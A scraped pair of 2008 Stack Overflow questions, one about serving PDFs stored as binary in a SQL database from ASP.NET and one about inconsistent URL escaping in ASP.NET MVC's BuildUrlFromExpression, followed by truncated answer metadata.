<p>I have an ASP .Net (3.5) website. I have the following code that uploads a file as a binary to a SQL Database:</p> <pre><code>Print(" protected void UploadButton_Click(object sender, EventArgs e) { //Get the posted file Stream fileDataStream = FileUpload.PostedFile.InputStream; //Get length of file int fileLength = FileUpload.PostedFile.ContentLength; //Create a byte array with file length byte[] fileData = new byte[fileLength]; //Read the stream into the byte array fileDataStream.Read(fileData, 0, fileLength); //get the file type string fileType = FileUpload.PostedFile.ContentType; //Open Connection WebSysDataContext db = new WebSysDataContext(Contexts.WEBSYS_CONN()); //Create New Record BinaryStore NewFile = new BinaryStore(); NewFile.BinaryID = "1"; NewFile.Type = fileType; NewFile.BinaryFile = fileData; //Save Record db.BinaryStores.InsertOnSubmit(NewFile); try { db.SubmitChanges(); } catch (Exception) { throw; } }"); </code></pre> <p>The files that will be uploaded are PDFs, Can you please help me in writing the code to get the PDF out of the SQL database and display it in the browser. (I am able to get the binary file using a linq query but not sure how to process the bytes)</p>
[ { "answer_id": 240448, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 0, "selected": false, "text": " WebSysDataContext db = new WebSysDataContext(Contexts.WEBSYS_CONN());\n\n var GetFile = from x in db.BinaryStor...
2008/10/27
[ "https://Stackoverflow.com/questions/240219", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
240,224
<p>In my web app, my parameters can contain all sorts of crazy characters (russian chars, slashes, spaces etc) and can therefor not always be represented as-is in a URL.<br> Sending them on their merry way will work in about 50% of the cases. Some things like spaces are already encoded somewhere (I'm guessing in the Html.BuildUrlFromExpression does). Other things though (like "/" and "*") are not.</p> <p>Now I don't know what to do anymore because if I encode them myself, my encoding will get partially encoded again and end up wrong. If I don't encode them, some characters will not get through.</p> <p>What I did is manually .replace() the characters I had problems with.<br> This is off course not a good idea.</p> <p>Ideas?</p> <p><strong>--Edit--</strong><br> <strong>I know there are a multitude of encoding/decoding libraries at my disposal.</strong> It just looks like the mvc framework is already trying to do it for me, but not completely.</p> <pre><code>&lt;a href="&lt;%=Html.BuildUrlFromExpression&lt;SearchController&gt;(c=&gt;c.Search("", 1, "a \v/&amp;irdStr*ng"))%&gt;" title="my hat's awesome!"&gt; </code></pre> <p>will render me</p> <pre><code>&lt;a href="/Search.mvc/en/Search/1/a%20%5Cv/&amp;irdStr*ng" title="my hat's awesome!"&gt; </code></pre> <p>Notice how the forward slash, asterisk and ampersand are not escaped. Why are some escaped and others not? How can I now escape this properly?</p> <p>Am I doing something wrong or is it the framework?</p>
[ { "answer_id": 240245, "author": "Mitchel Sellers", "author_id": 13279, "author_profile": "https://Stackoverflow.com/users/13279", "pm_score": 0, "selected": false, "text": "Server.UrlEncode()" }, { "answer_id": 240247, "author": "Cade Roux", "author_id": 18255, "auth...
2008/10/27
[ "https://Stackoverflow.com/questions/240224", "https://Stackoverflow.com", "https://Stackoverflow.com/users/11333/" ]